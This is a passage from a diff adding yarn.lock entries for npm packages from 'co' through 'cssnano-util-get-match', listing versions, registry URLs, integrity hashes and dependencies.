"4.6.0" + resolved "https://registry.yarnpkg.com/co/-/co-4.6.0.tgz#6ea6bdf3d853ae54ccb8e47bfa0bf3f9031fb184" + integrity sha1-bqa989hTrlTMuOR7+gvz+QMfsYQ= + +coa@^2.0.2: + version "2.0.2" + resolved "https://registry.yarnpkg.com/coa/-/coa-2.0.2.tgz#43f6c21151b4ef2bf57187db0d73de229e3e7ec3" + integrity sha512-q5/jG+YQnSy4nRTV4F7lPepBJZ8qBNJJDBuJdoejDyLXgmL7IEo+Le2JDZudFTFt7mrCqIRaSjws4ygRCTCAXA== + dependencies: + "@types/q" "^1.5.1" + chalk "^2.4.1" + q "^1.1.2" + +collect-v8-coverage@^1.0.0: + version "1.0.1" + resolved "https://registry.yarnpkg.com/collect-v8-coverage/-/collect-v8-coverage-1.0.1.tgz#cc2c8e94fc18bbdffe64d6534570c8a673b27f59" + integrity sha512-iBPtljfCNcTKNAto0KEtDfZ3qzjJvqE3aTGZsbhjSBlorqpXJlaWWtPO35D+ZImoC3KWejX64o+yPGxhWSTzfg== + +collection-visit@^1.0.0: + version "1.0.0" + resolved "https://registry.yarnpkg.com/collection-visit/-/collection-visit-1.0.0.tgz#4bc0373c164bc3291b4d368c829cf1a80a59dca0" + integrity sha1-S8A3PBZLwykbTTaMgpzxqApZ3KA= + dependencies: + map-visit "^1.0.0" + object-visit "^1.0.0" + +color-convert@^1.9.0, color-convert@^1.9.1: + version "1.9.3" + resolved "https://registry.yarnpkg.com/color-convert/-/color-convert-1.9.3.tgz#bb71850690e1f136567de629d2d5471deda4c1e8" + integrity sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg== + dependencies: + color-name "1.1.3" + +color-convert@^2.0.1: + version "2.0.1" + resolved "https://registry.yarnpkg.com/color-convert/-/color-convert-2.0.1.tgz#72d3a68d598c9bdb3af2ad1e84f21d896abd4de3" + integrity sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ== + dependencies: + color-name "~1.1.4" + +color-name@1.1.3: + version "1.1.3" + resolved "https://registry.yarnpkg.com/color-name/-/color-name-1.1.3.tgz#a7d0558bd89c42f795dd42328f740831ca53bc25" + integrity sha1-p9BVi9icQveV3UIyj3QIMcpTvCU= + +color-name@^1.0.0, color-name@~1.1.4: + version "1.1.4" + resolved "https://registry.yarnpkg.com/color-name/-/color-name-1.1.4.tgz#c2a09a87acbde69543de6f63fa3995c826c536a2" + integrity sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA== + +color-string@^1.5.4: + version "1.5.4" + resolved "https://registry.yarnpkg.com/color-string/-/color-string-1.5.4.tgz#dd51cd25cfee953d138fe4002372cc3d0e504cb6" + integrity sha512-57yF5yt8Xa3czSEW1jfQDE79Idk0+AkN/4KWad6tbdxUmAs3MvjxlWSWD4deYytcRfoZ9nhKyFl1kj5tBvidbw== + dependencies: + color-name "^1.0.0" + simple-swizzle "^0.2.2" + +color@^3.0.0, color@^3.1.3: + version "3.1.3" + resolved "https://registry.yarnpkg.com/color/-/color-3.1.3.tgz#ca67fb4e7b97d611dcde39eceed422067d91596e" + integrity sha512-xgXAcTHa2HeFCGLE9Xs/R82hujGtu9Jd9x4NW3T34+OMs7VoPsjwzRczKHvTAHeJwWFwX5j15+MgAppE8ztObQ== + dependencies: + color-convert "^1.9.1" + color-string "^1.5.4" + +colorette@^1.2.1: + version "1.2.1" + resolved "https://registry.yarnpkg.com/colorette/-/colorette-1.2.1.tgz#4d0b921325c14faf92633086a536db6e89564b1b" + integrity sha512-puCDz0CzydiSYOrnXpz/PKd69zRrribezjtE9yd4zvytoRc8+RY/KJPvtPFKZS3E3wP6neGyMe0vOTlHO5L3Pw== + +colorette@^1.2.2: + version "1.2.2" + resolved "https://registry.yarnpkg.com/colorette/-/colorette-1.2.2.tgz#cbcc79d5e99caea2dbf10eb3a26fd8b3e6acfa94" + integrity sha512-MKGMzyfeuutC/ZJ1cba9NqcNpfeqMUcYmyF1ZFY6/Cn7CNSAKx6a+s48sqLqyAiZuaP2TcqMhoo+dlwFnVxT9w== + +combined-stream@^1.0.6, combined-stream@~1.0.6: + version "1.0.8" + resolved "https://registry.yarnpkg.com/combined-stream/-/combined-stream-1.0.8.tgz#c3d45a8b34fd730631a110a8a2520682b31d5a7f" + integrity sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg== + dependencies: + delayed-stream "~1.0.0" + +commander@^2.20.0: + version "2.20.3" + resolved "https://registry.yarnpkg.com/commander/-/commander-2.20.3.tgz#fd485e84c03eb4881c20722ba48035e8531aeb33" + integrity sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ== + +commander@^4.1.1: + version "4.1.1" + resolved "https://registry.yarnpkg.com/commander/-/commander-4.1.1.tgz#9fd602bd936294e9e9ef46a3f4d6964044b18068" + integrity sha512-NOKm8xhkzAjzFx8B2v5OAHT+u5pRQc2UCa2Vq9jYL/31o2wi9mxBA7LIFs3sV5VSC49z6pEhfbMULvShKj26WA== + +commander@^6.0.0: + version "6.2.1" + resolved "https://registry.yarnpkg.com/commander/-/commander-6.2.1.tgz#0792eb682dfbc325999bb2b84fddddba110ac73c" + integrity sha512-U7VdrJFnJgo4xjrHpTzu0yrHPGImdsmD95ZlgYSEajAn2JKzDhDTPG9kBTefmObL2w/ngeZnilk+OV9CG3d7UA== + +common-tags@^1.8.0: + version "1.8.0" + resolved "https://registry.yarnpkg.com/common-tags/-/common-tags-1.8.0.tgz#8e3153e542d4a39e9b10554434afaaf98956a937" + integrity sha512-6P6g0uetGpW/sdyUy/iQQCbFF0kWVMSIVSyYz7Zgjcgh8mgw8PQzDNZeyZ5DQ2gM7LBoZPHmnjz8rUthkBG5tw== + +commondir@^1.0.1: + version "1.0.1" + resolved "https://registry.yarnpkg.com/commondir/-/commondir-1.0.1.tgz#ddd800da0c66127393cca5950ea968a3aaf1253b" + integrity sha1-3dgA2gxmEnOTzKWVDqloo6rxJTs= + +component-emitter@^1.2.1: + version "1.3.0" + resolved "https://registry.yarnpkg.com/component-emitter/-/component-emitter-1.3.0.tgz#16e4070fba8ae29b679f2215853ee181ab2eabc0" + integrity sha512-Rd3se6QB+sO1TwqZjscQrurpEPIfO0/yYnSin6Q/rD3mOutHvUrCAhJub3r90uNb+SESBuE0QYoB90YdfatsRg== + +compose-function@3.0.3: + version "3.0.3" + resolved "https://registry.yarnpkg.com/compose-function/-/compose-function-3.0.3.tgz#9ed675f13cc54501d30950a486ff6a7ba3ab185f" + integrity sha1-ntZ18TzFRQHTCVCkhv9qe6OrGF8= + dependencies: + arity-n "^1.0.4" + +compressible@~2.0.16: + version "2.0.18" + resolved "https://registry.yarnpkg.com/compressible/-/compressible-2.0.18.tgz#af53cca6b070d4c3c0750fbd77286a6d7cc46fba" + integrity sha512-AF3r7P5dWxL8MxyITRMlORQNaOA2IkAFaTr4k7BUumjPtRpGDTZpl0Pb1XCO6JeDCBdp126Cgs9sMxqSjgYyRg== + dependencies: + mime-db ">= 1.43.0 < 2" + +compression@^1.7.4: + version "1.7.4" + resolved "https://registry.yarnpkg.com/compression/-/compression-1.7.4.tgz#95523eff170ca57c29a0ca41e6fe131f41e5bb8f" + integrity sha512-jaSIDzP9pZVS4ZfQ+TzvtiWhdpFhE2RDHz8QJkpX9SIpLq88VueF5jJw6t+6CUQcAoA6t+x89MLrWAqpfDE8iQ== + dependencies: + accepts "~1.3.5" + bytes "3.0.0" + compressible "~2.0.16" + debug "2.6.9" + on-headers "~1.0.2" + safe-buffer "5.1.2" + vary "~1.1.2" + +concat-map@0.0.1: + version "0.0.1" + resolved "https://registry.yarnpkg.com/concat-map/-/concat-map-0.0.1.tgz#d8a96bd77fd68df7793a73036a3ba0d5405d477b" + integrity sha1-2Klr13/Wjfd5OnMDajug1UBdR3s= + +concat-stream@^1.5.0: + version "1.6.2" + resolved "https://registry.yarnpkg.com/concat-stream/-/concat-stream-1.6.2.tgz#904bdf194cd3122fc675c77fc4ac3d4ff0fd1a34" + integrity sha512-27HBghJxjiZtIk3Ycvn/4kbJk/1uZuJFfuPEns6LaEvpvG1f0hTea8lilrouyo9mVc2GWdcEZ8OLoGmSADlrCw== + dependencies: + buffer-from "^1.0.0" + inherits "^2.0.3" + readable-stream "^2.2.2" + typedarray "^0.0.6" + +confusing-browser-globals@^1.0.10: + version "1.0.10" + resolved "https://registry.yarnpkg.com/confusing-browser-globals/-/confusing-browser-globals-1.0.10.tgz#30d1e7f3d1b882b25ec4933d1d1adac353d20a59" + integrity sha512-gNld/3lySHwuhaVluJUKLePYirM3QNCKzVxqAdhJII9/WXKVX5PURzMVJspS1jTslSqjeuG4KMVTSouit5YPHA== + +connect-history-api-fallback@^1.6.0: + version "1.6.0" + resolved "https://registry.yarnpkg.com/connect-history-api-fallback/-/connect-history-api-fallback-1.6.0.tgz#8b32089359308d111115d81cad3fceab888f97bc" + integrity sha512-e54B99q/OUoH64zYYRf3HBP5z24G38h5D3qXu23JGRoigpX5Ss4r9ZnDk3g0Z8uQC2x2lPaJ+UlWBc1ZWBWdLg== + +console-browserify@^1.1.0: + version "1.2.0" + resolved "https://registry.yarnpkg.com/console-browserify/-/console-browserify-1.2.0.tgz#67063cef57ceb6cf4993a2ab3a55840ae8c49336" + integrity sha512-ZMkYO/LkF17QvCPqM0gxw8yUzigAOZOSWSHg91FH6orS7vcEj5dVZTidN2fQ14yBSdg97RqhSNwLUXInd52OTA== + +constants-browserify@^1.0.0: + version "1.0.0" + resolved "https://registry.yarnpkg.com/constants-browserify/-/constants-browserify-1.0.0.tgz#c20b96d8c617748aaf1c16021760cd27fcb8cb75" + integrity sha1-wguW2MYXdIqvHBYCF2DNJ/y4y3U= + +contains-path@^0.1.0: + version "0.1.0" + resolved "https://registry.yarnpkg.com/contains-path/-/contains-path-0.1.0.tgz#fe8cf184ff6670b6baef01a9d4861a5cbec4120a" + integrity sha1-/ozxhP9mcLa67wGp1IYaXL7EEgo= + +content-disposition@0.5.3: + version "0.5.3" + resolved "https://registry.yarnpkg.com/content-disposition/-/content-disposition-0.5.3.tgz#e130caf7e7279087c5616c2007d0485698984fbd" + integrity sha512-ExO0774ikEObIAEV9kDo50o+79VCUdEB6n6lzKgGwupcVeRlhrj3qGAfwq8G6uBJjkqLrhT0qEYFcWng8z1z0g== + dependencies: + safe-buffer "5.1.2" + +content-type@~1.0.4: + version "1.0.4" + resolved "https://registry.yarnpkg.com/content-type/-/content-type-1.0.4.tgz#e138cc75e040c727b1966fe5e5f8c9aee256fe3b" + integrity sha512-hIP3EEPs8tB9AT1L+NUqtwOAps4mk2Zob89MWXMHjHWg9milF/j4osnnQLXBCBFBk/tvIG/tUc9mOUJiPBhPXA== + +convert-source-map@1.7.0, convert-source-map@^1.4.0, convert-source-map@^1.6.0, convert-source-map@^1.7.0: + version "1.7.0" + resolved "https://registry.yarnpkg.com/convert-source-map/-/convert-source-map-1.7.0.tgz#17a2cb882d7f77d3490585e2ce6c524424a3a442" + integrity sha512-4FJkXzKXEDB1snCFZlLP4gpC3JILicCpGbzG9f9G7tGqGCzETQ2hWPrcinA9oU4wtf2biUaEH5065UnMeR33oA== + dependencies: + safe-buffer "~5.1.1" + +convert-source-map@^0.3.3: + version "0.3.5" + resolved "https://registry.yarnpkg.com/convert-source-map/-/convert-source-map-0.3.5.tgz#f1d802950af7dd2631a1febe0596550c86ab3190" + integrity sha1-8dgClQr33SYxof6+BZZVDIarMZA= + +cookie-signature@1.0.6: + version "1.0.6" + resolved "https://registry.yarnpkg.com/cookie-signature/-/cookie-signature-1.0.6.tgz#e303a882b342cc3ee8ca513a79999734dab3ae2c" + integrity sha1-4wOogrNCzD7oylE6eZmXNNqzriw= + +cookie@0.4.0: + version "0.4.0" + resolved "https://registry.yarnpkg.com/cookie/-/cookie-0.4.0.tgz#beb437e7022b3b6d49019d088665303ebe9c14ba" + integrity sha512-+Hp8fLp57wnUSt0tY0tHEXh4voZRDnoIrZPqlo3DPiI4y9lwg/jqx+1Om94/W6ZaPDOUbnjOt/99w66zk+l1Xg== + +copy-concurrently@^1.0.0: + version "1.0.5" + resolved "https://registry.yarnpkg.com/copy-concurrently/-/copy-concurrently-1.0.5.tgz#92297398cae34937fcafd6ec8139c18051f0b5e0" + integrity sha512-f2domd9fsVDFtaFcbaRZuYXwtdmnzqbADSwhSWYxYB/Q8zsdUUFMXVRwXGDMWmbEzAn1kdRrtI1T/KTFOL4X2A== + dependencies: + aproba "^1.1.1" + fs-write-stream-atomic "^1.0.8" + iferr "^0.1.5" + mkdirp "^0.5.1" + rimraf "^2.5.4" + run-queue "^1.0.0" + +copy-descriptor@^0.1.0: + version "0.1.1" + resolved "https://registry.yarnpkg.com/copy-descriptor/-/copy-descriptor-0.1.1.tgz#676f6eb3c39997c2ee1ac3a924fd6124748f578d" + integrity sha1-Z29us8OZl8LuGsOpJP1hJHSPV40= + +core-js-compat@^3.6.2, core-js-compat@^3.8.0: + version "3.9.0" + resolved "https://registry.yarnpkg.com/core-js-compat/-/core-js-compat-3.9.0.tgz#29da39385f16b71e1915565aa0385c4e0963ad56" + integrity sha512-YK6fwFjCOKWwGnjFUR3c544YsnA/7DoLL0ysncuOJ4pwbriAtOpvM2bygdlcXbvQCQZ7bBU9CL4t7tGl7ETRpQ== + dependencies: + browserslist "^4.16.3" + semver "7.0.0" + +core-js-pure@^3.0.0: + version "3.9.0" + resolved "https://registry.yarnpkg.com/core-js-pure/-/core-js-pure-3.9.0.tgz#326cc74e1fef8b7443a6a793ddb0adfcd81f9efb" + integrity sha512-3pEcmMZC9Cq0D4ZBh3pe2HLtqxpGNJBLXF/kZ2YzK17RbKp94w0HFbdbSx8H8kAlZG5k76hvLrkPm57Uyef+kg== + +core-js@^2.4.0: + version "2.6.12" + resolved "https://registry.yarnpkg.com/core-js/-/core-js-2.6.12.tgz#d9333dfa7b065e347cc5682219d6f690859cc2ec" + integrity sha512-Kb2wC0fvsWfQrgk8HU5lW6U/Lcs8+9aaYcy4ZFc6DDlo4nZ7n70dEgE5rtR0oG6ufKDUnrwfWL1mXR5ljDatrQ== + +core-js@^3.6.5: + version "3.9.0" + resolved "https://registry.yarnpkg.com/core-js/-/core-js-3.9.0.tgz#790b1bb11553a2272b36e2625c7179db345492f8" + integrity sha512-PyFBJaLq93FlyYdsndE5VaueA9K5cNB7CGzeCj191YYLhkQM0gdZR2SKihM70oF0wdqKSKClv/tEBOpoRmdOVQ== + +core-util-is@1.0.2, core-util-is@~1.0.0: + version "1.0.2" + resolved "https://registry.yarnpkg.com/core-util-is/-/core-util-is-1.0.2.tgz#b5fd54220aa2bc5ab57aab7140c940754503c1a7" + integrity sha1-tf1UIgqivFq1eqtxQMlAdUUDwac= + +cosmiconfig@^5.0.0: + version "5.2.1" + resolved "https://registry.yarnpkg.com/cosmiconfig/-/cosmiconfig-5.2.1.tgz#040f726809c591e77a17c0a3626ca45b4f168b1a" + integrity sha512-H65gsXo1SKjf8zmrJ67eJk8aIRKV5ff2D4uKZIBZShbhGSpEmsQOPW/SKMKYhSTrqR7ufy6RP69rPogdaPh/kA== + dependencies: + import-fresh "^2.0.0" + is-directory "^0.3.1" + js-yaml "^3.13.1" + parse-json "^4.0.0" + +cosmiconfig@^6.0.0: + version "6.0.0" + resolved "https://registry.yarnpkg.com/cosmiconfig/-/cosmiconfig-6.0.0.tgz#da4fee853c52f6b1e6935f41c1a2fc50bd4a9982" + integrity sha512-xb3ZL6+L8b9JLLCx3ZdoZy4+2ECphCMo2PwqgP1tlfVq6M6YReyzBJtvWWtbDSpNr9hn96pkCiZqUcFEc+54Qg== + dependencies: + "@types/parse-json" "^4.0.0" + import-fresh "^3.1.0" + parse-json "^5.0.0" + path-type "^4.0.0" + yaml "^1.7.2" + +cosmiconfig@^7.0.0: + version "7.0.0" + resolved "https://registry.yarnpkg.com/cosmiconfig/-/cosmiconfig-7.0.0.tgz#ef9b44d773959cae63ddecd122de23853b60f8d3" + integrity sha512-pondGvTuVYDk++upghXJabWzL6Kxu6f26ljFw64Swq9v6sQPUL3EUlVDV56diOjpCayKihL6hVe8exIACU4XcA== + dependencies: + "@types/parse-json" "^4.0.0" + import-fresh "^3.2.1" + parse-json "^5.0.0" + path-type "^4.0.0" + yaml "^1.10.0" + +create-ecdh@^4.0.0: + version "4.0.4" + resolved "https://registry.yarnpkg.com/create-ecdh/-/create-ecdh-4.0.4.tgz#d6e7f4bffa66736085a0762fd3a632684dabcc4e" + integrity sha512-mf+TCx8wWc9VpuxfP2ht0iSISLZnt0JgWlrOKZiNqyUZWnjIaCIVNQArMHnCZKfEYRg6IM7A+NeJoN8gf/Ws0A== + dependencies: + bn.js "^4.1.0" + elliptic "^6.5.3" + +create-hash@^1.1.0, create-hash@^1.1.2, create-hash@^1.2.0: + version "1.2.0" + resolved "https://registry.yarnpkg.com/create-hash/-/create-hash-1.2.0.tgz#889078af11a63756bcfb59bd221996be3a9ef196" + integrity sha512-z00bCGNHDG8mHAkP7CtT1qVu+bFQUPjYq/4Iv3C3kWjTFV10zIjfSoeqXo9Asws8gwSHDGj/hl2u4OGIjapeCg== + dependencies: + cipher-base "^1.0.1" + inherits "^2.0.1" + md5.js "^1.3.4" + ripemd160 "^2.0.1" + sha.js "^2.4.0" + +create-hmac@^1.1.0, create-hmac@^1.1.4, create-hmac@^1.1.7: + version "1.1.7" + resolved "https://registry.yarnpkg.com/create-hmac/-/create-hmac-1.1.7.tgz#69170c78b3ab957147b2b8b04572e47ead2243ff" + integrity sha512-MJG9liiZ+ogc4TzUwuvbER1JRdgvUFSB5+VR/g5h82fGaIRWMWddtKBHi7/sVhfjQZ6SehlyhvQYrcYkaUIpLg== + dependencies: + cipher-base "^1.0.3" + create-hash "^1.1.0" + inherits "^2.0.1" + ripemd160 "^2.0.0" + safe-buffer "^5.0.1" + sha.js "^2.4.8" + +cross-spawn@7.0.3, cross-spawn@^7.0.0, cross-spawn@^7.0.2: + version "7.0.3" + resolved "https://registry.yarnpkg.com/cross-spawn/-/cross-spawn-7.0.3.tgz#f73a85b9d5d41d045551c177e2882d4ac85728a6" + integrity sha512-iRDPJKUPVEND7dHPO8rkbOnPpyDygcDFtWjpeWNCgy8WP2rXcxXL8TskReQl6OrB2G7+UJrags1q15Fudc7G6w== + dependencies: + path-key "^3.1.0" + shebang-command "^2.0.0" + which "^2.0.1" + +cross-spawn@^6.0.0: + version "6.0.5" + resolved "https://registry.yarnpkg.com/cross-spawn/-/cross-spawn-6.0.5.tgz#4a5ec7c64dfae22c3a14124dbacdee846d80cbc4" + integrity sha512-eTVLrBSt7fjbDygz805pMnstIs2VTBNkRm0qxZd+M7A5XDdxVRWO5MxGBXZhjY4cqLYLdtrGqRf8mBPmzwSpWQ== + dependencies: + nice-try "^1.0.4" + path-key "^2.0.1" + semver "^5.5.0" + shebang-command "^1.2.0" + which "^1.2.9" + +crypto-browserify@^3.11.0: + version "3.12.0" + resolved "https://registry.yarnpkg.com/crypto-browserify/-/crypto-browserify-3.12.0.tgz#396cf9f3137f03e4b8e532c58f698254e00f80ec" + integrity sha512-fz4spIh+znjO2VjL+IdhEpRJ3YN6sMzITSBijk6FK2UvTqruSQW+/cCZTSNsMiZNvUeq0CqurF+dAbyiGOY6Wg== + dependencies: + browserify-cipher "^1.0.0" + browserify-sign "^4.0.0" + create-ecdh "^4.0.0" + create-hash "^1.1.0" + create-hmac "^1.1.0" + diffie-hellman "^5.0.0" + inherits "^2.0.1" + pbkdf2 "^3.0.3" + public-encrypt "^4.0.0" + randombytes "^2.0.0" + randomfill "^1.0.3" + +crypto-random-string@^1.0.0: + version "1.0.0" + resolved "https://registry.yarnpkg.com/crypto-random-string/-/crypto-random-string-1.0.0.tgz#a230f64f568310e1498009940790ec99545bca7e" + integrity sha1-ojD2T1aDEOFJgAmUB5DsmVRbyn4= + +css-blank-pseudo@^0.1.4: + version "0.1.4" + resolved "https://registry.yarnpkg.com/css-blank-pseudo/-/css-blank-pseudo-0.1.4.tgz#dfdefd3254bf8a82027993674ccf35483bfcb3c5" + integrity sha512-LHz35Hr83dnFeipc7oqFDmsjHdljj3TQtxGGiNWSOsTLIAubSm4TEz8qCaKFpk7idaQ1GfWscF4E6mgpBysA1w== + dependencies: + postcss "^7.0.5" + +css-color-names@0.0.4, css-color-names@^0.0.4: + version "0.0.4" + resolved "https://registry.yarnpkg.com/css-color-names/-/css-color-names-0.0.4.tgz#808adc2e79cf84738069b646cb20ec27beb629e0" + integrity sha1-gIrcLnnPhHOAabZGyyDsJ762KeA= + +css-declaration-sorter@^4.0.1: + version "4.0.1" + resolved "https://registry.yarnpkg.com/css-declaration-sorter/-/css-declaration-sorter-4.0.1.tgz#c198940f63a76d7e36c1e71018b001721054cb22" + integrity sha512-BcxQSKTSEEQUftYpBVnsH4SF05NTuBokb19/sBt6asXGKZ/6VP7PLG1CBCkFDYOnhXhPh0jMhO6xZ71oYHXHBA== + dependencies: + postcss "^7.0.1" + timsort "^0.3.0" + +css-has-pseudo@^0.10.0: + version "0.10.0" + resolved "https://registry.yarnpkg.com/css-has-pseudo/-/css-has-pseudo-0.10.0.tgz#3c642ab34ca242c59c41a125df9105841f6966ee" + integrity sha512-Z8hnfsZu4o/kt+AuFzeGpLVhFOGO9mluyHBaA2bA8aCGTwah5sT3WV/fTHH8UNZUytOIImuGPrl/prlb4oX4qQ== + dependencies: + postcss "^7.0.6" + postcss-selector-parser "^5.0.0-rc.4" + +css-loader@4.3.0: + version "4.3.0" + resolved "https://registry.yarnpkg.com/css-loader/-/css-loader-4.3.0.tgz#c888af64b2a5b2e85462c72c0f4a85c7e2e0821e" + integrity sha512-rdezjCjScIrsL8BSYszgT4s476IcNKt6yX69t0pHjJVnPUTDpn4WfIpDQTN3wCJvUvfsz/mFjuGOekf3PY3NUg== + dependencies: + camelcase "^6.0.0" + cssesc "^3.0.0" + icss-utils "^4.1.1" + loader-utils "^2.0.0" + postcss "^7.0.32" + postcss-modules-extract-imports "^2.0.0" + postcss-modules-local-by-default "^3.0.3" + postcss-modules-scope "^2.2.0" + postcss-modules-values "^3.0.0" + postcss-value-parser "^4.1.0" + schema-utils "^2.7.1" + semver "^7.3.2" + +css-prefers-color-scheme@^3.1.1: + version "3.1.1" + resolved "https://registry.yarnpkg.com/css-prefers-color-scheme/-/css-prefers-color-scheme-3.1.1.tgz#6f830a2714199d4f0d0d0bb8a27916ed65cff1f4" + integrity sha512-MTu6+tMs9S3EUqzmqLXEcgNRbNkkD/TGFvowpeoWJn5Vfq7FMgsmRQs9X5NXAURiOBmOxm/lLjsDNXDE6k9bhg== + dependencies: + postcss "^7.0.5" + +css-select-base-adapter@^0.1.1: + version "0.1.1" + resolved "https://registry.yarnpkg.com/css-select-base-adapter/-/css-select-base-adapter-0.1.1.tgz#3b2ff4972cc362ab88561507a95408a1432135d7" + integrity sha512-jQVeeRG70QI08vSTwf1jHxp74JoZsr2XSgETae8/xC8ovSnL2WF87GTLO86Sbwdt2lK4Umg4HnnwMO4YF3Ce7w== + +css-select@^2.0.0, css-select@^2.0.2: + version "2.1.0" + resolved "https://registry.yarnpkg.com/css-select/-/css-select-2.1.0.tgz#6a34653356635934a81baca68d0255432105dbef" + integrity sha512-Dqk7LQKpwLoH3VovzZnkzegqNSuAziQyNZUcrdDM401iY+R5NkGBXGmtO05/yaXQziALuPogeG0b7UAgjnTJTQ== + dependencies: + boolbase "^1.0.0" + css-what "^3.2.1" + domutils "^1.7.0" + nth-check "^1.0.2" + +css-tree@1.0.0-alpha.37: + version "1.0.0-alpha.37" + resolved "https://registry.yarnpkg.com/css-tree/-/css-tree-1.0.0-alpha.37.tgz#98bebd62c4c1d9f960ec340cf9f7522e30709a22" + integrity sha512-DMxWJg0rnz7UgxKT0Q1HU/L9BeJI0M6ksor0OgqOnF+aRCDWg/N2641HmVyU9KVIu0OVVWOb2IpC9A+BJRnejg== + dependencies: + mdn-data "2.0.4" + source-map "^0.6.1" + +css-tree@^1.1.2: + version "1.1.2" + resolved "https://registry.yarnpkg.com/css-tree/-/css-tree-1.1.2.tgz#9ae393b5dafd7dae8a622475caec78d3d8fbd7b5" + integrity sha512-wCoWush5Aeo48GLhfHPbmvZs59Z+M7k5+B1xDnXbdWNcEF423DoFdqSWE0PM5aNk5nI5cp1q7ms36zGApY/sKQ== + dependencies: + mdn-data "2.0.14" + source-map "^0.6.1" + +css-unit-converter@^1.1.1: + version "1.1.2" + resolved "https://registry.yarnpkg.com/css-unit-converter/-/css-unit-converter-1.1.2.tgz#4c77f5a1954e6dbff60695ecb214e3270436ab21" + integrity sha512-IiJwMC8rdZE0+xiEZHeru6YoONC4rfPMqGm2W85jMIbkFvv5nFTwJVFHam2eFrN6txmoUYFAFXiv8ICVeTO0MA== + +css-what@^3.2.1: + version "3.4.2" + resolved "https://registry.yarnpkg.com/css-what/-/css-what-3.4.2.tgz#ea7026fcb01777edbde52124e21f327e7ae950e4" + integrity sha512-ACUm3L0/jiZTqfzRM3Hi9Q8eZqd6IK37mMWPLz9PJxkLWllYeRf+EHUSHYEtFop2Eqytaq1FizFVh7XfBnXCDQ== + +css.escape@^1.5.1: + version "1.5.1" + resolved "https://registry.yarnpkg.com/css.escape/-/css.escape-1.5.1.tgz#42e27d4fa04ae32f931a4b4d4191fa9cddee97cb" + integrity sha1-QuJ9T6BK4y+TGktNQZH6nN3ul8s= + +css@^2.0.0: + version "2.2.4" + resolved "https://registry.yarnpkg.com/css/-/css-2.2.4.tgz#c646755c73971f2bba6a601e2cf2fd71b1298929" + integrity sha512-oUnjmWpy0niI3x/mPL8dVEI1l7MnG3+HHyRPHf+YFSbK+svOhXpmSOcDURUh2aOCgl2grzrOPt1nHLuCVFULLw== + dependencies: + inherits "^2.0.3" + source-map "^0.6.1" + source-map-resolve "^0.5.2" + urix "^0.1.0" + +css@^3.0.0: + version "3.0.0" + resolved "https://registry.yarnpkg.com/css/-/css-3.0.0.tgz#4447a4d58fdd03367c516ca9f64ae365cee4aa5d" + integrity sha512-DG9pFfwOrzc+hawpmqX/dHYHJG+Bsdb0klhyi1sDneOgGOXy9wQIC8hzyVp1e4NRYDBdxcylvywPkkXCHAzTyQ== + dependencies: + inherits "^2.0.4" + source-map "^0.6.1" + source-map-resolve "^0.6.0" + +cssdb@^4.4.0: + version "4.4.0" + resolved "https://registry.yarnpkg.com/cssdb/-/cssdb-4.4.0.tgz#3bf2f2a68c10f5c6a08abd92378331ee803cddb0" + integrity sha512-LsTAR1JPEM9TpGhl/0p3nQecC2LJ0kD8X5YARu1hk/9I1gril5vDtMZyNxcEpxxDj34YNck/ucjuoUd66K03oQ== + +cssesc@^2.0.0: + version "2.0.0" + resolved "https://registry.yarnpkg.com/cssesc/-/cssesc-2.0.0.tgz#3b13bd1bb1cb36e1bcb5a4dcd27f54c5dcb35703" + integrity sha512-MsCAG1z9lPdoO/IUMLSBWBSVxVtJ1395VGIQ+Fc2gNdkQ1hNDnQdw3YhA71WJCBW1vdwA0cAnk/DnW6bqoEUYg== + +cssesc@^3.0.0: + version "3.0.0" + resolved "https://registry.yarnpkg.com/cssesc/-/cssesc-3.0.0.tgz#37741919903b868565e1c09ea747445cd18983ee" + integrity sha512-/Tb/JcjK111nNScGob5MNtsntNM1aCNUDipB/TkwZFhyDrrE47SOx/18wF2bbjgc3ZzCSKW1T5nt5EbFoAz/Vg== + +cssnano-preset-default@^4.0.7: + version "4.0.7" + resolved "https://registry.yarnpkg.com/cssnano-preset-default/-/cssnano-preset-default-4.0.7.tgz#51ec662ccfca0f88b396dcd9679cdb931be17f76" + integrity sha512-x0YHHx2h6p0fCl1zY9L9roD7rnlltugGu7zXSKQx6k2rYw0Hi3IqxcoAGF7u9Q5w1nt7vK0ulxV8Lo+EvllGsA== + dependencies: + css-declaration-sorter "^4.0.1" + cssnano-util-raw-cache "^4.0.1" + postcss "^7.0.0" + postcss-calc "^7.0.1" + postcss-colormin "^4.0.3" + postcss-convert-values "^4.0.1" + postcss-discard-comments "^4.0.2" + postcss-discard-duplicates "^4.0.2" + postcss-discard-empty "^4.0.1" + postcss-discard-overridden "^4.0.1" + postcss-merge-longhand "^4.0.11" + postcss-merge-rules "^4.0.3" + postcss-minify-font-values "^4.0.2" + postcss-minify-gradients "^4.0.2" + postcss-minify-params "^4.0.2" + postcss-minify-selectors "^4.0.2" + postcss-normalize-charset "^4.0.1" + postcss-normalize-display-values "^4.0.2" + postcss-normalize-positions "^4.0.2" + postcss-normalize-repeat-style "^4.0.2" + postcss-normalize-string "^4.0.2" + postcss-normalize-timing-functions "^4.0.2" + postcss-normalize-unicode "^4.0.1" + postcss-normalize-url "^4.0.1" + postcss-normalize-whitespace "^4.0.2" + postcss-ordered-values "^4.1.2" + postcss-reduce-initial "^4.0.3" + postcss-reduce-transforms "^4.0.2" + postcss-svgo "^4.0.2" + postcss-unique-selectors "^4.0.1" + +cssnano-util-get-arguments@^4.0.0: + version "4.0.0" + resolved "https://registry.yarnpkg.com/cssnano-util-get-arguments/-/cssnano-util-get-arguments-4.0.0.tgz#ed3a08299f21d75741b20f3b81f194ed49cc150f" + integrity sha1-7ToIKZ8h11dBsg87gfGU7UnMFQ8= + +cssnano-util-get-match@^4.0.0: + version "4.0.0" + resolved 